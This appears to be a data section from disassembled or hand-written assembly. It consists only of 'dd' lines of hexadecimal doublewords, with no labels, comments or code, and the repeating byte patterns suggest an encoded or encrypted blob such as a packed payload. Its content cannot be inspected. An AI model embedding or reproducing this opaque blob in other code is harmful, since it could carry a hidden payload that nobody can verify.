		dd 4F34C8CCh, 814B29B8h, 553522A3h, 534F0C9Bh, 2A1228D7h
		dd 11A05E3Dh, 87612133h, 6C4B29A9h, 51BE228Eh, 0D20485D6h
		dd 89F5D37h, 0F50E5F1Ch, 1FB61228h, 86E7A490h, 3E1228F4h
		dd 6557BBA7h, 0AA714D9Eh, 0AE45BBDCh, 3622411Fh, 0F2AF4949h
		dd 1228B47Bh, 9623B249h, 0D3BFABB8h, 6449A7E6h,	0B55D10CDh
		dd 0D0671228h, 61216341h, 3622A987h, 28B4F479h,	0EC088812h
		dd 34CB7007h, 21B04E47h, 6621B694h, 4B29AA88h, 28B51C51h
		dd 66216F12h, 3522AA88h, 0C7B39856h, 28B4630Ah,	33CA6112h
		dd 3E2B17A4h, 29C0A55Bh, 6121BC9Ah, 3522A987h, 270C9B55h
		dd 88662149h, 214B29AAh, 0FB722F62h, 0C91228B4h, 0C9B69B32h
		dd 4F1EDBCEh, 751228B5h, 0F66247DEh, 12BBDC4Bh,	50352234h
		dd 0B5640F9Eh, 3161218Dh, 1BB29751h, 0A381A684h, 99BB6621h
		dd 0A47AB92Eh, 81AA881Fh, 0BD603195h, 0B55C153Ch, 292775F8h
		dd 21B84F12h, 3622B492h, 0B4E08D4Ah, 4DE41228h,	28B4DD90h
		dd 53512812h, 7A7E8139h, 0C0DA3ED5h, 48DAAE0Ch,	8D0DFA89h
		dd 3D299573h, 0CFB43050h, 51CBA938h, 1228B51Ch,	5F4C386Fh
		dd 5836C523h, 9C523522h, 0E69120B7h, 61210F37h,	0A381A987h
		dd 28CD3651h, 61215512h, 0EBAE9B87h, 0AC993015h, 0A78514E8h
		dd 806C4B29h, 0B496D794h, 616F1228h, 0EC13942h,	0EF7E15BAh
		dd 8652211h, 0BC1228B5h, 35224725h, 0E7864356h,	0DD1228B4h
		dd 33CAAF46h, 6C3917A4h, 4A36228Eh, 28B4E08Dh, 8DE09D12h
		dd 371228B4h, 0D564FBA0h, 28B55518h, 0FAD86F12h, 61214B29h
		dd 0A381A987h, 36228E6Ch, 856AED2h, 0EB7A9E25h,	29283F2Eh
		dd 10EE8512h, 9D533522h, 6CA3810Eh, 874B298Eh, 503522A9h
		dd 505C3A9Eh, 0D8DAA37Ah, 0C03C5C49h, 543522E2h, 48260B9Ah
		dd 36228E6Ch, 28B4F479h, 0AA39D012h, 0B46C01BEh, 0C1581228h
		dd 51AFE8D5h, 0E8067F6Ch, 81E4C251h, 25BE22A3h,	0C1DE118Dh
		dd 8C07F483h, 0BE22906Eh, 0E21A043Ch, 250A9926h, 0D3BFAB47h
		dd 28B55716h, 47D66D12h, 56352269h, 8D1CB398h, 2907E5A0h
		dd 6321A381h, 0B398562Fh, 0B4630AC7h, 0CA611228h, 29BE9C33h
		dd 0B51C514Bh, 216F1228h, 35998563h, 38ACF988h,	7A58E7D8h
		dd 6621A381h, 3522AA88h, 24099856h, 85632146h, 654B29A7h
		dd 84BE2287h, 47F4B244h, 0B665109Fh, 0BB66218Eh, 2631C601h
		dd 0D917752Ah, 81CDAB42h, 81ECA995h, 0FB1228B4h, 22B95E9Ch
		dd 6321B593h, 0B297552Fh, 962DC3C5h, 352221FFh,	0E5884554h
		dd 0DF1228B4h, 9522B148h, 886621B7h, 514B29AAh,	1228B51Ch
		dd 8866216Fh, 1BD5B6A3h, 46B56036h, 77634F25h, 0AEF098Ah
		dd 0B4B7B673h, 760D1228h, 362209E7h, 28B4F479h,	0AA39D012h
		dd 2D1A10FFh, 2301906Eh, 0AA886621h, 6621A381h,	0F3B09C88h
		dd 1228B47Ah, 0B5274603h, 69D1228h, 0C866CA61h,	7DB4CE7Ch
		dd 2902E06Fh, 228E6C4Bh, 28B50865h, 3925BC12h, 0C811ECD5h
		dd 51E0CC3Bh, 54352273h, 8F1EB59Ah, 6621CCAAh, 9581AA88h
		dd 21DFBCA9h, 85E8A53Ch, 3F1228B4h, 6C3B19A8h, 865228Eh
		dd 751228B5h, 0B4A1CC89h, 1FDC1228h, 1228B54Eh,	0A33ADF76h
		dd 8B1AD6B6h, 81714FE6h, 298E6CA3h, 0AF9B874Bh,	28B47BF2h
		dd 3F5C4912h, 0AE45DCC1h, 6221411Fh, 0FF966A2Eh, 6C4B2921h
		dd 865228Eh, 0BC1228B5h, 51D53925h, 33F83580h, 223C1AA9h
		dd 0B69B5535h, 2503901Fh, 0A157461h, 90F165E5h,	0BE1A39Fh
		dd 7250DD74h, 0F1C1BE22h, 0BBBDB06Dh, 70071228h, 0A830FB0Ch
		dd 0FA1F8B19h, 1D65221Ch, 6019F9C6h, 0F5DA1073h, 932ACF5Eh
		dd 503D29B5h, 0CCCBB834h, 23B2492Eh, 228E6C45h,	45445435h
		dd 9C8110A7h, 1AD951BEh, 0A2B219ACh, 5EBE22C4h,	0B12C783Bh
		dd 0CB256653h, 0BA62913Ch, 65228E6Ch, 1228B508h, 814725BCh
		dd 94806CA3h, 28B496D7h, 8972E12h, 503D292Ah, 3CD3B834h
		dd 6321CFADh, 0A381A785h, 98563522h, 7F7D1C09h,	0DE3A693h
		dd 24029128h, 0BFAB4B29h, 432AE7D3h, 811228B5h,	0B5402DEAh
		dd 0ED841228h, 6221805Eh, 0A381A684h, 9E92BE22h, 0D828CBC4h
		dd 0C53B5C49h, 514B29E7h, 1228B51Ch, 8A64216Fh,	22A381ACh
		dd 0A5D5B1BEh, 0E675EDACh, 705C9AF9h, 1E60483h,	29FDDB6Ah
		dd 8A64214Bh, 654B29ACh, 7EB46387h, 0B498D592h,	28E51228h
		dd 1228B545h, 0AC43E87Fh, 35223F1Dh, 0E18C4950h, 0E31228B4h
		dd 0C9C8B54Ch, 20AF462Bh, 0B8965433h, 0F4793622h, 0D01228B4h
		dd 0B54627E4h, 0E77E1228h, 5634C150h, 0AC8A6421h, 6221A381h
		dd 0CB349884h, 2813EBAAh, 29E3C150h, 0B51C514Bh, 0FD611228h
		dd 719B8B3Bh, 3185612Eh, 65AC6ACEh, 658A68F7h, 9DD08D79h
		dd 271228B4h, 9A0583Ah,	0B4639C7Ah, 8462218Ch, 6CA381A6h
		dd 4936228Eh, 7DF0AD4Bh, 471228B4h, 5E3C21B0h, 6D2E6221h
		dd 0FA6583Dh, 3D299A78h, 0D1B63250h, 22CDAB3Ah,	28B50865h
		dd 8325BC12h, 0C6522A5h, 0B81228B5h, 0A3814321h, 0A6846221h
		dd 46523522h, 8615AC44h, 0A9871BF9h, 0A9876121h, 40D93D29h
		dd 552B2CC9h, 518B69F8h, 19AC1AD9h, 543522B2h, 8F1EB59Ah
		dd 2A08E0A2h, 6321A381h, 4B29A785h, 0A9876121h,	31503D29h
		dd 214624B3h, 0B3A08563h, 893217D5h, 0E24E2FDEh, 8CB46304h
		dd 0A7856321h, 0A0319581h, 0F10D7C91h, 6C05E372h, 214B298Eh
		dd 46453261h, 6F2CC3A8h, 1228B4FEh, 86432FC6h, 1228B4E7h
		dd 0D1AF46DDh, 0CDABA381h, 28B51C51h, 87656F12h, 0D509BE22h
		dd 5139902Dh, 40E817C2h, 3522A987h, 1EB59A54h, 9E7A28Fh
		dd 514B292Bh, 61F6CDF3h, 79362298h, 1228B4F4h, 0BF00C88h
		dd 0A938CF74h, 3723D9BCh, 84942CD3h, 8D1C8477h,	793622AFh
		dd 1228B4F4h, 1DAA39D0h, 8866213Fh, 514B29AAh, 23C2BD42h
		dd 0B7622149h, 23D4A3FCh, 0D4B95055h, 0DF80ABE7h, 0D190F7CEh
		dd 0B3896E05h, 0C781908h, 8CB4632Eh, 0AA886621h, 6621A381h
		dd 0F3B09C88h, 1228B47Ah, 0C0658302h, 29BC9A29h, 0B762214Bh
		dd 9D551F7Dh, 512FC672h, 66214B29h, 9581AA88h, 7E0DEBA8h
		dd 793622A0h, 1228B4F4h, 0BDAA39D0h, 5F0ECBDEh,	651228B4h
		dd 5F4B37CEh, 28B4CBA2h, 0D362F912h, 21A381F5h,	0FB722F62h
		dd 0C91228B4h, 22BD9B32h, 9985635h, 19514624h, 721228B5h
		dd 0A2E6D3BFh, 43D2694Eh, 8CB46365h, 0F4793622h, 111228B4h
		dd 8CF7821Fh, 0B54CF118h, 9C5A3926h, 533522BEh,	95810E9Dh
		dd 1D600131h, 78073C5Ah, 8866219Ah, 503D29AAh, 3DD4B937h
		dd 6221D0AEh, 0EFAB9884h, 29A48211h, 8866214Bh,	21A381AAh
		dd 81A68462h, 886621A3h
		dd 224B29AAh, 803356BEh, 0B39FD5F8h, 29AF77F6h,	27B64D12h
		dd 1615B96Ah, 5A38D22Bh, 218CB463h, 81AA8866h, 81ECA995h
		dd 431228B4h, 213F1DACh, 22AA8866h, 8A475235h, 1228B4E3h
		dd 0CEB34AE1h, 0B54825E2h, 0E57C1228h, 0FCDABF4Eh, 35228E6Ch
		dd 1EB59A54h, 5ABEAA8Fh, 0A94DA3Ah, 0C6A764F8h,	0FE1228C4h
		dd 6341D067h, 0B6D4C1ADh, 2FBE553Ah, 7EB46351h,	0E4A0F091h
		dd 0F58C7108h, 0A3818866h, 0F4793622h, 0D01228B4h, 0AF4D4C39h
		dd 9A503320h, 0A89581BCh, 932A0FEDh, 0C0512604h, 0BD1228E8h
		dd 0E95914D1h, 0D46B1228h, 60216745h, 0B4F97431h, 0C7841228h
		dd 1228B4A6h, 0F6E2871Eh, 28B53439h, 62F99012h,	3622EDCBh
		dd 28B4F479h, 0EE0A8812h, 3E23B249h, 228E6C60h,	0E08D4A36h
		dd 251228B4h, 248C1588h, 3FD67BD6h, 0F07AF3B0h,	0E64A1228h
		dd 6027D7AFh, 0C09E35EAh, 4271BE22h, 0ABEBE665h, 0D56B02BFh
		dd 0C2591228h, 0CDBAA633h, 4D20DDCCh, 771228D6h, 0CD6449E0h
		dd 6348A4E0h, 515F3DCCh, 0CCC109DFh, 866021ACh,	22A381A8h
		dd 0B69B5535h, 0FF84BB1Fh, 6BD7B4ACh, 194EFDCh,	29A32944h
		dd 6D049B12h, 214B298Fh, 22A88660h, 5A1BF3BEh, 43DABF39h
		dd 0EF9AAADFh, 0A29D7B60h, 32CCC9B6h, 0B463C5A3h, 0F9F7917Eh
		dd 0F3907D14h, 218866F5h, 9B553266h, 0AA881FB6h, 8E6CA381h
		dd 35224B29h, 1C099856h, 0AF50B47Fh, 4DF62672h,	0BADDCAB6h
		dd 81D7B544h, 51CDABA3h, 1228B51Ch, 6387656Fh, 0A9878CB4h
		dd 73306321h, 1228B4FAh, 0BE9C33CAh, 66214B29h,	0B4995732h
		dd 29A8861Dh, 0E148D93Dh, 9D01FF9Bh, 2CBBC306h,	22E7C54Eh
		dd 0DCFEFABEh, 7908675Bh, 0FDE95FCEh, 29522D40h, 0DA935012h
		dd 0EA122951h, 2A17AE53h, 14AB9068h, 0BE22A785h, 0CCC46A92h
		dd 2AE7D305h, 1228D043h, 6E5BEA81h, 81F4D22Eh, 326621A3h
		dd 1DB49957h, 0A381A886h, 99856321h, 0FC47E8ACh, 0A6FCD457h
		dd 90270CA3h, 0BE222301h, 2B209A36h, 7C61F010h,	86E7A490h
		dd 0F612291Bh, 1DB45997h, 1D51B08Eh, 601228B5h,	0F3D81673h
		dd 0BAB3705Ch, 0A1228B4h, 7C06E473h, 0B3BE229Eh, 892A3ABh
		dd 1605B03Fh, 2C18972Eh, 91C539CDh, 0E7000003h,	291B5551h
		dd 62213612h, 0E9AB9884h, 41412E13h, 0A38110A7h, 9B553522h
		dd 0AB901FB6h, 228E6CCDh, 0E9D5335h, 48493622h,	0A332C9AEh
		dd 28B487E6h, 0C8A63D12h, 0EAA89581h, 51A17F0Eh, 1228B51Bh
		dd 8201FE62h, 56C9ADB5h, 6221E9C7h, 0EFAC9884h,	1228B47Eh
		dd 304BAF46h, 52452013h, 819D7B0Ah, 793622A3h, 1228B4F4h
		dd 32946CD0h, 0A7E3FCFEh, 0F1948110h, 3D291DFBh, 3BBE53D9h
		dd 0D6DA2EFAh, 47298DDEh, 2BC5C61Dh, 21270594h,	0AE9B8761h
		dd 952C11EFh, 4B292806h, 6FE5D751h, 6121B460h, 0EDAE9B87h
		dd 44412E13h, 0A68413AAh, 6121A381h, 4B29A987h,	2F526631h
		dd 49362251h, 34CBB04Eh, 28B4F677h, 7B6ACE12h, 642753DBh
		dd 7B26B54Ch, 6121A48Ch, 0A381A987h, 0A9876121h, 1C514B29h
		dd 6F382F30h, 0A0856321h, 361BD1B3h, 0B2D342EDh, 0B4636846h
		dd 8761218Ch, 21A381A9h, 29A98761h, 0EFC3514Bh,	0CEBA3012h
		dd 12F05C11h, 42D16830h, 8D796564h, 28B49DD0h, 2B4D6812h
		dd 22BF7145h, 99F9E67Dh, 63F2D05Fh, 61218CB4h, 32BA3BAh
		dd 28F72746h, 0A2069D12h, 8C238678h, 51573CA0h,	361D517Fh
		dd 0A381C9A7h, 99573522h, 837D1D0Ah, 503D29A5h,	3CD3B834h
		dd 3451CFADh, 5789BA32h, 0A4896721h, 351AD8B7h,	0C1EF1EC9h
		dd 2E2EF716h, 0F25EF59Dh, 8CB46314h, 44573522h,	28B4E687h
		dd 0B047DE12h, 0B8A534CBh, 4F65C9DAh, 0CF10477Ah, 0BB254805h
		dd 89F1228h, 0A3819371h, 9E503522h, 0E1AEF53Ah,	9423C37Eh
		dd 0DAB7EBA7h, 29A7851Ch, 0C1B5514Bh, 65D6BBE0h, 8CB46387h
		dd 0FAD2BE22h, 0DD99B604h, 0C721614Eh, 0A99581E9h, 28B481ECh
		dd 0BFAC4312h, 0B79524C2h, 0A9876121h, 44543522h, 2BC2A745h
		dd 34200594h, 0B4E28B48h, 4BE21228h, 6621DEBCh,	0A381AA88h
		dd 0A9876121h, 6321A381h, 3D29A785h, 0CFB43050h, 21CBA938h
		dd 29AA8866h, 0B632503Dh, 66214927h, 0D2B6A388h, 22CD391Eh
		dd 0DEBC92F3h, 218CB463h, 81A78563h, 0C737AAA3h, 41399C1Fh
		dd 849210DDh, 7113848Ch, 0D93D2993h, 32D7EEFFh,	0FAD867F9h
		dd 46523522h, 3217AE42h, 641F0C9Bh, 3622A886h, 28B4F479h
		dd 0ED0B8812h, 35CC7108h, 0AB3B19A6h, 0B51C51CDh, 656F1228h
		dd 55352287h, 901FB69Bh, 870E36E5h, 856321A9h, 514B29A7h
		dd 675FDEAAh, 228765E1h, 0B4F47936h, 0E3D01228h, 0CA6146A4h
		dd 0AF9A433h, 30632122h, 0C2A74543h, 0B4FF6E2Bh, 2EC51228h
		dd 0B4E88542h, 45DC1228h, 0A381D0AEh, 0A7856321h, 9D533522h
		dd 0AD9221B8h, 846221CFh, 115B3498h, 725791F2h,	0FEE577DBh
		dd 292D0B9Ah, 6387654Bh, 63218CB4h, 3522A785h, 0CAB69B55h
		dd 28B4600Dh, 36CD6412h, 213C1AA7h, 29A78563h, 97BE224Bh
		dd 6F5BBFEFh, 7F4B140h,	84676063h, 0B4635A38h, 5335228Ch
		dd 9221B89Dh, 1D09E7A5h, 0A0F5CD31h, 0B81893E1h, 292E72FBh
		dd 0CFBB5212h, 292F5B12h, 43D26912h, 21A38165h,	29A78563h
		dd 24CF514Bh, 65BC2462h, 8CB46387h, 0A7856321h,	0F4793622h
		dd 881228B4h, 0B148ED0Bh, 22B79522h, 21A535BEh,	33C2AC19h
		dd 0BDA94746h, 9E5914D1h, 0D46B1229h, 9E422BE8h, 0EB821229h
		dd 0A3817E5Ch, 106D96h,	1BEAA00h, 1228B46Ch, 18D5C158h
		dd 1228B555h, 6B49D86Fh, 0A7856321h, 23514B29h,	681228B5h
		dd 35229E7Ch, 610C9B55h, 18978AB2h, 0C539CD2Ch,	7AFh, 22B51E7h
		dd 22601229h, 0A995735h, 0A4827C1Dh, 8E6C4B29h,	0E5D23622h
		dd 0C658C1B5h, 78F5B241h, 4C1229A2h, 0A381D7B5h, 0A7856321h
		dd 9F514B29h, 0EC3B48CEh, 73306321h, 1228B4FAh,	0BE9C33CAh
		dd 3522A381h, 99349856h, 0F47EB94Fh, 0E9A79423h, 36222D0Bh
		dd 28B4F479h, 796CD012h, 47F2591Fh, 9C8110A7h, 28C6C3B0h
		dd 3F1DAC43h, 0EC8AD51h, 8765DE33h, 218CB463h, 22A78563h
		dd 0E9D5335h, 6721A381h, 0D0B09D89h, 22A78514h,	0B4F47936h
		dd 39D01228h, 21E7C5AAh, 29A78563h, 0BC28514Bh,	2163455Fh
		dd 81A78563h, 81ECA995h, 431228B4h, 513F1DACh, 0E7DD0870h
		dd 8361200Dh, 5E1B079Eh, 0E7DD090Fh, 0B18F1EB5h, 0F4793622h
		dd 0D01228B4h, 0DBBDAA39h, 4D32B0CFh, 2EC8C9B6h, 3D1BB249h
		dd 0F430BE22h, 21C97226h, 22270592h, 0B4995735h, 0E7A18E1Dh
		dd 3D292B09h, 0CFB43050h, 21CBA938h, 29A78563h,	8660214Bh
		dd 17D5B4A1h, 42B15C32h, 639A7821h, 67218CB4h, 0AF9C5233h
		dd 0A28017D5h, 0BDA99581h, 28B46D00h, 3C05712h,	1228B46Ah
		dd 5634C35Ah, 0A7856321h, 6721A381h, 0B59A5033h, 29A9871Eh
		dd 5035224Bh, 0BDF03A9Eh, 0A5BAFEDEh, 4D725916h, 0A2195511h
		dd 8CB463C4h, 48503522h, 8A19B04Ch, 2705FB9Dh, 6721A381h
		dd 3D29AB89h, 0D3B83450h, 0ADCFAD3Ch, 7EB463CFh, 66F5F391h
		dd 21A38188h, 3851BC67h, 7B48281h, 0AB988470h, 962D12E8h
		dd 291294D9h, 0A993012h, 514B292Ch, 0D2240B25h,	63876566h
		dd 67218CB4h, 0A381AB89h, 0A7856321h, 67214B29h, 4B29AB89h
		dd 0B463C4A2h, 95BE228Ch, 0E4B6C1A9h, 6EFF358Eh, 0A9D910Ah
		dd 0B819DEA6h, 0F281AF9Ah, 74138705h, 8101DF76h, 896721A3h
		dd 0DF1E399Dh
		dd 0AA7CF1AEh, 0B1481229h, 6B1DB64Dh, 3622FEDCh, 28B4F479h
		dd 386CD012h, 4EE69A0Ah, 7919069Dh, 74039A7Fh, 352209E7h
		dd 1F0C9B55h, 0AA978361h, 0F78742E9h, 89B584BFh, 298563F2h
		dd 0B519514Bh, 65721228h, 55352287h, 0DA8CFCCEh, 0F88FE1D4h
		dd 0F48F7C13h, 0EB7A11F6h, 0F75BD140h, 86DB47F3h, 8BB0EE18h
		dd 0C8A98FF3h, 7B609CF8h, 0E0BE4DE4h, 99856321h, 2E13E9ACh
		dd 0B4E88542h, 45DC1228h, 81411FAEh, 533522A3h,	0B4E28B48h
		dd 4BE21228h, 583825B4h, 4B29BE9Ch, 6AB77951h, 5A38124Dh
		dd 228CB463h, 823554BEh, 0DA699A22h, 6551AFEDh,	0E7B1BC79h
		dd 7C131228h, 12F7F58Fh, 810EEC7Bh, 2F6321A3h, 1EFC9351h
		dd 60214B29h, 9581A886h, 8110ECA8h, 856321A3h, 21A381A7h
		dd 29A88660h, 2B14514Bh, 5690D70h, 4A1BA8BBh, 8A68F7B9h
		dd 0B4638765h, 0F8F6917Eh, 8D632613h, 228967F6h, 0B4995735h
		dd 0D54FFD50h, 0F88FC5E2h, 0E11F7C69h, 214C09F5h, 0A31228D0h
		dd 819F7D0Ch, 11EFA895h, 2806952Ch, 0A7856321h,	60214B29h
		dd 0EDAD9A86h, 29A68413h, 6387654Bh, 63218CB4h,	0EEAC9985h
		dd 81A58312h, 298E6CA3h, 8660214Bh, 11ED369Ah, 0F34A2EC9h
		dd 5F234A07h, 0AA11229h, 0A3819D7Bh, 1C51CDABh,	6F1228B5h
		dd 0B4638765h, 22A9878Ch, 19B8B4BEh, 39A7F79h, 0E8AA239Fh
		dd 6296C59h, 9B86B640h,	937108D5h, 94513D29h, 1228B4D9h
		dd 0AB6854EBh, 1228B4C2h, 0FEDC6B02h, 8BBBC751h, 0CFC9B68Eh
		dd 0A3604C31h, 8E8BBBCAh, 68CC63FAh, 0BFEF4EE7h, 7755E41Fh
		dd 0AA886621h, 6621A381h, 4B29AA88h, 0C4D0BE22h, 83941006h
		dd 0F193DA97h, 9A311228h, 69874E0Bh, 0A204478Ah, 7EB463C4h
		dd 0B498D592h, 3F2C1228h, 220FA644h, 1EFC8B65h,	0AA886621h
		dd 6621A381h, 34EF1CBBh, 6A20C106h, 0A7CD3137h,	8967266Fh
		dd 0DF760DA4h, 513D2901h, 28B4D994h, 0C554EB12h, 4C1C31E7h
		dd 0C17E6A56h, 1228B4ACh, 0F7948118h, 0EE7D14F9h, 8CB46310h
		dd 0AA886621h, 46553522h, 28B4E489h, 0B249E012h, 1AA736CDh
		dd 4DB9CA2Eh, 0AD04C995h, 0B91D9844h, 8604F3A1h, 6644D36Ah
		dd 0AA886621h, 66314B29h, 22785652h, 0B4F47936h, 39D01228h
		dd 2810FFAAh, 0AA886621h, 9B553522h, 21A17F0Ch,	29AA8866h
		dd 5535224Bh, 901FB69Bh, 9309ED3h, 6721ED61h, 0D8B7A489h
		dd 0E18C351Ah, 7E55132h, 1A7EB463h, 8BC8E3EEh, 2301902Dh
		dd 9C886621h, 0B47AF3B0h, 0B34A1228h, 0A3814624h, 29077351h
		dd 35221812h, 1C099856h, 0AC99857Bh, 0A58312EEh, 8E6C4B29h
		dd 9C523522h, 0A59120B7h, 28B485E8h, 0CAA83F12h, 6621A381h
		dd 4B29AA88h, 0C6CABE22h, 13104CECh, 0C6134AFh,	0C04FBA50h
		dd 0A4C4E403h, 6621A713h, 9581AA88h, 0B481ECA9h, 0AC431228h
		dd 66213F1Dh, 4B29AA88h, 0CDF151h, 0A4829A3Dh, 0A4D8BE22h
		dd 0D783ACFEh, 0C66E9D48h, 53326621h, 0DA4423Fh, 1CFA9128h
		dd 0F72FBE22h, 0C1ABC27Fh, 82191228h, 62FEA11Eh, 216846D3h
		dd 29AA8866h, 8DDD93Dh,	4C6F57B9h, 6131DFBDh, 63785651h
		dd 66218CB4h, 0A381AA88h, 0AA886621h, 0F4793622h, 0D01228B4h
		dd 0B4484C39h, 51624025h, 55B2A98Ch, 635A38FFh,	0F0917EB4h
		dd 682511F6h, 1228B505h, 29128BFh, 88662124h, 22A381AAh
		dd 0E608F0BEh, 52E1F9B2h, 0EECC2265h, 3A3EBE22h, 6BB5B418h
		dd 6C19F7DCh, 7936228Eh, 1228B4F4h, 0B4A1CC89h,	8C231228h
		dd 0DCC150E7h, 0E3018CF0h, 0DB57B6D1h, 11C7B977h, 61F05E4Bh
		dd 355183h, 0A2565E08h,	8CB463C4h, 65228E6Ch, 1228B508h
		dd 814725BCh, 81ECA995h, 431228B4h, 0B4D39A57h,	5AF11228h
		dd 215634C3h, 0B19E8A64h, 0A78514D2h, 0EFA89581h, 6952C11h
		dd 8A642128h, 224B29ACh, 0A995735h, 800394Dh, 0B6A2525Eh
		dd 0B4600DCAh, 0CD641228h, 3522603Eh, 630E9D53h, 64218CB4h
		dd 0A381AC8Ah, 0AA886621h, 6621A381h, 0FF965232h, 514B2921h
		dd 42A6038Eh, 638765FDh, 36228CB4h, 1783BFD2h, 4F0CE957h
		dd 1228D51Eh, 93800FA6h, 811CFAF0h, 886621A3h, 214B29AAh
		dd 42543464h, 7D14AB45h, 214B299Fh, 0B7A48967h,	0F13A1FDDh
		dd 99E9D746h, 0AC46F5DCh, 0FFEB942Bh, 1B175613h, 0C0AD1229h
		dd 0A49027C5h, 291A86E7h, 18A73E12h, 7EB4633Ah,	69F8F691h
		dd 3266218Bh, 17039A56h, 0F3E4D3B3h, 800F0E62h,	21A381A2h
		dd 22A88660h, 0BCC911BEh, 0A94025DBh, 0CC458845h, 79B7EBBh
		dd 3925BC82h, 2976F17Ch, 0AD3CD312h, 8E51EAC8h,	0EF42A603h
		dd 0DC6B8502h, 866021FEh, 21A381A8h, 34CFBB66h,	353160E7h
		dd 4B29C09Eh, 50306021h, 8118AF94h, 793622A3h, 1228B4F4h
		dd 4F4C39D0h, 0A635CCB1h, 4C38E3C1h, 0DEC3215Fh, 63DAB847h
		dd 66218CB4h, 0A381AA88h, 99573522h, 0A18E1DB4h, 812806E0h
		dd 8A6421A3h, 21A381ACh, 29AA8866h, 4178514Bh, 0A1055934h
		dd 12BDB5C1h, 0A2800FF9h, 0B4638765h, 5535228Ch, 641F0C9Bh
		dd 3522A886h, 22B99E50h, 2E1A0693h, 28B4FC71h, 0A231C812h
		dd 2F6321C4h, 1AB19654h, 2CA20AB6h, 942BF674h, 214B29B6h
		dd 29AA8866h, 635A384Bh, 63218CB4h, 0A381A785h,	0F4793622h
		dd 0D01228B4h, 0DABDAA39h, 0B55B12CFh, 0D2691228h, 0A3815D3Bh
		dd 89996h, 0D1BEAA00h, 0F37A37B1h, 0D11228B4h, 51CDAB3Ah
		dd 122905BFh, 38B6D1BEh, 0C92BEF53h, 0FE119183h, 21FAD867h
		dd 29A78563h, 228E6C4Bh, 0E08D4A36h, 9C1228B4h,	0C55C01FFh
		dd 0B4F47936h, 0E4D01228h, 28B54627h, 0FBE77E12h, 28B52F3Eh
		dd 67FE9512h, 0A8958189h, 92290EEAh, 38D25E2Eh,	0BB4AF255h
		dd 58BE22DDh, 40217EA9h, 0A5E6D362h, 17725F4Bh,	296C4AD9h
		dd 21CDAB4Bh, 81A88660h, 866021A3h, 514B29A8h, 1228B51Ch
		dd 2287656Fh, 0B69B5535h, 0F1C69552h, 5AF12E88h, 49F120CBh
		dd 0A8866021h, 0BE22A381h, 0C37B645Bh, 0BFAE6B86h, 5122940h
		dd 5B48D76Eh, 29E1BF3Dh, 0B430503Dh, 0CBA938CFh, 28B51C51h
		dd 0BE226F12h, 0FA8AD0ACh, 2512A19Fh, 81AB8967h, 866021A3h
		dd 503522A8h, 0BD893A9Eh, 0D3120EA5h, 21815F44h, 22A78563h
		dd 0B4995735h, 0CBA98E1Dh, 0A3886621h, 3A1FD1B6h, 294AB964h
		dd 35227553h, 0C7B49957h, 0A6932AC8h, 90270CE4h, 7FA75601h
		dd 0A8866021h, 6321A381h, 0A381A785h, 0A8866021h, 8E6C4B29h
		dd 99573522h, 0C611E0Ah, 711228B5h, 58E70584h, 293E1CB3h
		dd 544DD93Dh, 0F3F49029h, 0DE755A90h, 21DAB847h, 4E28462h
		dd 98563522h, 0A88D1CB3h, 866021CAh, 45ECAD9Ah,	19A16CA5h
		dd 9C2BC260h, 0ABA381BEh, 0B51C51CDh, 656F1228h, 8CB46387h
		dd 806CA987h, 0B496D794h, 972E1228h, 36222A08h,	0B4E08D4Ah
		dd 0E09D1228h, 1228B48Dh, 0FFBA037h, 28B51B52h,	7B12A912h
		dd 0B53E2FECh, 0EF861228h, 87A38111h, 336721A9h, 0C5B19654h
		dd 28B46508h, 31C85F12h, 4B29BC9Ah, 0B5086522h,	25BC1228h
		dd 6522A583h, 1228B508h, 0EC088875h, 7D7B1A07h,	7D6A0198h
		dd 68FFE41Ah, 0BF9D34D9h, 6221A381h, 4B29A684h,	93DA1151h
		dd 7F6C29h, 0D766FDE2h,	846221F9h, 51A381A6h, 0FABD9023h
		dd 89672168h, 21A381ABh, 0B1A3BC67h, 4635F93h, 4B298F6Dh
		dd 0A6846221h, 37503D29h, 0E4C92763h, 3AD1B64Dh, 0CDB24C4Dh
		dd 21C9A736h, 0AB06B960h, 2B8212Eh, 0FC99866Bh,	0F7B91D02h
		dd 0BA29DFFFh, 8B7A256Eh
		dd 685541EAh, 54EBD02Ch, 8EC2AB68h, 6B021229h, 0B463FEDCh
		dd 8967218Ch, 22A381ABh, 0AD995735h, 28B47DF0h,	21B04712h
		dd 0B9975534h, 806CA381h, 14F9F793h, 2210EE7Dh,	28B50865h
		dd 8F58BC12h, 0B519E74Dh, 0BCA6671h, 44C19FA7h,	4B29CFADh
		dd 0E51BE22h, 5C343785h, 0F2A4E0CDh, 0DF765B95h, 4B296A48h
		dd 0B4638765h, 0F9F7917Eh, 0F5907D14h, 0EC7B12F7h, 228E6C0Eh
		dd 28B50865h, 4725BC12h, 0B5086522h, 25BC1228h,	21A38147h
		dd 98563367h, 99851CB3h, 0B47DF0ADh, 0B0471228h, 0A3814321h
		dd 4B298E6Ch, 99856321h, 0D8BAECACh, 0DA43B20h,	24029128h
		dd 9E503522h, 69322B9h,	79362228h, 1228B4F4h, 0BDAA39D0h
		dd 294220DEh, 22CDAB4Bh, 0B4F47936h, 0EE111228h, 1813C650h
		dd 35C45B00h, 0BFAB4948h, 5439B7D2h, 5E4044F0h,	46DDA2A6h
		dd 33C23C59h, 21A38155h, 3A9E8A64h, 22DF7B4Fh, 1229474Bh
		dd 817EE279h, 7DF0ADCBh, 471228B5h, 692C19B0h, 22260493h
		dd 0B89D5335h, 0CFAD9221h, 9EDC5F51h, 64212C71h, 0B59A5634h
		dd 22A9871Eh, 0F00AC6BEh, 2BBA9FD5h, 6421C09Eh,	3D29AC8Ah
		dd 0E1FA6D9h, 0AC3BA668h, 2B3C51CEh, 0C54F6696h, 8CB463E7h
		dd 21B9BE22h, 0AF6F5C9Dh, 9C3318D6h, 0C897605h,	958114F2h
		dd 800FEDA8h, 8A6421A2h, 224B29ACh, 0C12195BEh,	4908F6CCh
		dd 37EA4E69h, 67F6CE6h,	0DD6C03E8h, 3F2B1703h, 28C2EB82h
		dd 8542D912h, 1228C2E8h, 57D778DCh, 96B6F1FFh, 229270FFh
		dd 0B89D5335h, 98543421h, 8D1CB3h, 79362222h, 1228B4F4h
		dd 4CF10F88h, 5C3926B5h, 4B29C4A2h, 9E503522h, 0B518520Fh
		dd 65731228h, 8CB46387h, 0AC8A6421h, 9E503522h,	35CBCCB9h
		dd 9322B950h, 61212806h, 0BE22A987h, 5815CDB9h,	12299915h
		dd 66B418AFh, 997E0DF0h, 26C2C0ADh, 0B7355441h,	51B39120h
		dd 8D6D1A5Ch, 98543421h, 0AF8D1CB3h, 31BA6121h,	141B1DFDh
